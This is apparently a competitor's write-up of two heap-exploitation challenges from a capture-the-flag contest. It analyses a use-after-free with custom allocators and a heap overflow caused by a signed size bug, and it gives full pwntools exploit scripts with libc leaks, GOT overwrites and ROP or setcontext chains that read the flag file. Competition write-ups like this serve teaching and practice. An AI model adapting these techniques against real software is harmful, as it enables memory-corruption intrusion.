是谁第一天AWDP五道题修了四道只做了一道,被第一甩下2w5的分差
是谁第二天CTF七道题就做了一道,中午就给自己下班
这些都在祥云杯摆烂大舞台,意外的拿了个第五
ahead
一个常见的菜单堆,但是最关键的malloc和free函数被重写了,漏洞点是简单的UAF,未开启pie,没有show功能
实际malloc和free被加了非常多的花指令混淆,具体代码逻辑现场感觉赶不上详细逆向了,因此需要猜逻辑
free后任意大小的chunk都由同一个双向循环链表链接,类似于unsortedbin,但是没有free_chunk切割机制,仅匹配size对应的chunk
存在prev_size以及类似ptmalloc的flag位,但是实际暂时无法实现free_chunk合并以及整理
既然是双链表,那么基本90%的漏洞都在unlink的时候导致,但是缺少show功能导致信息泄漏困难,因此需要合理的布置堆风水
由于heap_list以及unsortedbin链表的链表头都保存在bss段上,因此可以用chunk_list中存储的chunk指针实现unlink链表检测的绕过
但是直接这样修改会报出一个Size Check!错误,显然是双向循环链表检测机制满足了而某个size位没有
经过一定的尝试,发现会检测链表指向地址-0x8处是否为一个合法的size,这对于bss段上的链表头同样适用
解决方法是通过分配全部chunk,将chunk_list的前两个chunk指针作为伪造的unlink节点,-0x8地址出刚好就是存储的size_list,绕过了size检测
通过新建chunk来unlink,可以将chunk_list中的指针指向chunk_list自身,edit修改chunk_list中的内容为目标指针后再次edit可以实现任意地址读写
但是本题没有show功能,需要寻找方法来泄漏libc地址,并且由于未开启pie保护,任意读写的范围局限在程序段上,
发现未开启got表保护,并且注意到fprintf第一个参数为stderr,因此选择将stderr指向got表并将fprintf指向puts函数
由于fprintf为报错触发执行,所有的fprintf后都跟着exit函数,因此也需要将exit指向alarm来避免程序退出,触发报错泄漏libc地址
有了libc地址后,再次泄漏environ处的栈地址,计算偏移后将ROP链写入栈并劫持程序流
(赛后有师傅提到可以修改atoi为printf,来将后续问题转化为格式化字符串)
EXP:
from pwn import*
r=remote("172.16.9.4",9097)
#r=process('./pwn')
context.log_level='debug'
def new(size,content):
r.recvuntil(": ")
r.sendline("1")
r.recvuntil(": ")
r.sendline(str(size))
r.recvuntil(": ")
r.send(content)
def delete(idx):
r.recvuntil(": ")
r.sendline("2")
r.recvuntil(": ")
r.sendline(str(idx))
def edit(idx,content):
r.recvuntil(": ")
r.sendline("3")
r.recvuntil(": ")
r.sendline(str(idx))
r.recvuntil(": ")
r.send(content)
def gift():
r.recvuntil(": ")
r.sendline("4097")
new(0xC8,"\n")
delete(0)
new(0xC8,"\n")
for i in range(0xC): new(0xC8,"\n")
new(0x20,"\n")
delete(0)
delete(0)
edit(0,p64(0x60a260)+p64(0x60a260))
new(0xC8,"\n")
edit(1,p64(0)+p64(0x60a260)+p64(0x60a140))
edit(2,p64(0x60a0a8))
edit(1,p64(0)+p64(0x60a260)+p64(0x60a078))
edit(2,p64(0x400910))
edit(1,p64(0)+p64(0x60a260)+p64(0x60a0b0))
edit(2,p64(0x400900))
r.recvuntil(": ")
r.sendline("1")
r.recvuntil(": ")
r.sendline(str(0xC8))
libc=ELF("./libc-2.23.so")
libc_base=u64(r.recvuntil("\n",drop=True)+p16(0))-libc.sym["atol"]
success("libc_base: "+hex(libc_base))
r.recvuntil(": ")
r.send("\n")
edit(1,p64(0)+p64(0x60a260)+p64(0x60a140))
edit(2,p64(libc_base+libc.sym["environ"]))
r.recvuntil(": ")
r.sendline("1")
r.recvuntil(": ")
r.sendline(str(0xC8))
stack=u64(r.recvuntil("\n",drop=True)+p16(0))-0x200+0x40+0x80
success("stack: "+hex(stack))
r.recvuntil(": ")
r.send("\n")
pop_rdi=libc_base+0x21102
pop_rsi=libc_base+0x202e8
pop_rdx=libc_base+0x1b92
payload=p64(pop_rdi)+p64(0x60a278)+p64(pop_rsi)+p64(0)+p64(libc_base+libc.sym["open"])
payload+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(0x60a260)+p64(pop_rdx)+p64(0x50)+p64(libc_base+libc.sym["read"])
payload+=p64(pop_rdi)+p64(1)+p64(libc_base+libc.sym["write"])
edit(1,p64(0)+p64(0x60a260)+p64(stack)+"flag\x00")
#gdb.attach(r,"b *"+str(pop_rdi))
edit(2,"a"*0x10+payload)
r.interactive()
note
一个小游戏开始,前0xF个异或0x11和循环变量i即可,第0x10个元素需要满足前0xF个加自身为uint8_t的0
urandom作srand种子随机生成十个字节作为xor_key,为后面堆的内容作异或加密
一个没有edit的菜单堆,在new功能中存在一个为创建chunk时的size添加rand()%0x20+1的可选项,那么大概率漏洞点就在这里\
通过多次尝试,发现在创建size=0x8的chunk时经常crash,仔细调试后发现rand()%0x20+1的值有些时候会是4字节长度的负数
由于size很小,相加后仍然是负数,导致malloc了一个负数size的chunk导致crash
如图中eax=0x23为用户输入size,edx=0xffffffe4为rand()%0x20+1计算结果,相加即为实际分配chunk的size
那么就可以精准控制size大小,实现一个堆溢出,简单尝试后发现size=0x24-0x28时最容易触发堆溢出
由于使用read读取并且没有末尾加\x00,通过free某个chunk后再次分配可以获取libc地址,heap地址以及计算出xor_key
由于堆溢出的随机性,溢出修改下方chunk的size时多覆盖几个字节,循环检测下一个chunk的内容,若能匹配多出的覆盖内容则说明覆盖成功,否则继续覆盖
本题对堆风水要求比较高,需要实际调试
EXP:
from pwn import*
r=remote("172.20.2.1",9007)
#r=process('./note')
context.log_level='debug'
libc=ELF("./libc-2.31.so")
r.recvuntil(">> ")
r.sendline("1")
r.recvuntil(": ")
raw_str = r.recvuntil("\n",drop=True)
r.recvuntil(": ")
num_list=[]
for i in range(0, len(raw_str), 2):
num_list.append(int(raw_str[i:i+2],16))
total=0
for i in range(len(num_list)-1):
num_list[i]=num_list[i]^0x11^i
total+=num_list[i]
r.send(hex(num_list[i])[2:].rjust(2,"0"))
r.sendline(hex(0x100-(total&0xFF))[2:].rjust(2,"0"))
def new(size,content,mode):
r.recvuntil(">> ")
r.sendline("2")
r.recvuntil(": ")
r.sendline(str(mode))
r.recvuntil(": ")
r.sendline(str(size))
r.recvuntil(": ")
r.send(content)
def show(idx):
r.recvuntil(">> ")
r.sendline("3")
r.recvuntil(": ")
r.sendline(str(idx))
def delete(idx):
r.recvuntil(">> ")
r.sendline("4")
r.recvuntil(": ")
r.sendline(str(idx))
new(0x417,"\n",0)
new(0x47,"\n",0)
new(0x47,"\n",0)
delete(0)
new(0x417,"a"*0x8,0)
show(0)
r.recvuntil("a"*0x8)
libc_base=u64(r.recvuntil("\n",drop=True).ljust(0x8,"\x00"))-libc.sym["__malloc_hook"]-0x70
success("libc_base: "+hex(libc_base))
delete(1)
delete(2)
new(0x47,"\x10",0)
show(1)
r.recvuntil(": ")
heap=u64(r.recvuntil("\n",drop=True).ljust(0x8,"\x00"))-0x610
success("heap: "+hex(heap))
new(0x47,"a"*0x28,0)
delete(2)
new(0x47,"a"*0x18,0)
show(2)
xor_key=[0,0]
r.recvuntil("a"*0x18)
xor_key_raw=r.recv(16)
xor_key[0]=u64(xor_key_raw[8:])^0x6161616161616161
xor_key[1]=u64(xor_key_raw[:8])^0x6161616161616161
success("xor_key0: "+hex(xor_key[0]))
success("xor_key1: "+hex(xor_key[1]))
def enc(data_raw):
data=""
for i in range(0,len(data_raw),0x8):
data+=p64(u64(data_raw[i:i+0x8].ljust(0x8,"\x00"))^xor_key[i//0x8&1])
return data[0:len(data_raw)]
new(0x17,"\n",0)
new(0x17,"\n",0)
new(0x67,"\n",0)
new(0x417,"\n",0)
new(0x67,"\n",0)
delete(3)
payload="a"*0x18+p64(0x4b1)+p32(0x62626262)
while (True):
show(4)
if(r.recvline().find("bbbb")!=-1): break
delete(1)
new(0x23,enc(payload),1)
delete(4)
new(0x17,"\n",0)
new(0x67,"\n",0)
delete(3)
delete(7)
delete(5)
payload="a"*0x18+p64(0x71)+p64(libc_base+libc.sym["__free_hook"])
while (True):
show(4)
if(r.recvline().find(p64(libc_base+libc.sym["__free_hook"])[:6])!=-1): break
delete(2)
new(0x27,enc(payload),1)
#0x00000000001518b0 : mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]
gadget=libc_base+0x1518b0
pop_rdi=libc_base+0x23b72
pop_rsi=libc_base+0x2604f
pop_rdx_r12=libc_base+0x119241
new(0x67,"\n",0)
delete(0)
new(0x67,enc(p64(gadget)),0)
payload=""
payload+=p64(0x0067616c66)+p64((heap+0x2a0))
payload=payload.ljust(0x20,"\x00")
payload+=p64((libc_base+libc.sym["setcontext"]+61))
payload=payload.ljust(0xa0,"\x00")
payload+=p64(heap+0x3a0)+p64((pop_rdi+1))
payload=payload.ljust(0x100,"\x00")
payload+=p64(pop_rdi)+p64((heap+0x2a0))+p64(pop_rsi)+p64(0)+p64((libc_base+libc.sym["open"]))
payload+=p64(pop_rdi)+p64((3))+p64(pop_rsi)+p64(heap)+p64(pop_rdx_r12)+p64(0x100)+p64(0)+p64((libc_base+libc.sym["read"]))
payload+=p64(pop_rdi)+p64((1))+p64((libc_base+libc.sym["write"]))
new(0x417,enc(payload),0)
new(0x417,enc(payload),0)
#gdb.attach(r)
delete(7)
r.interactive()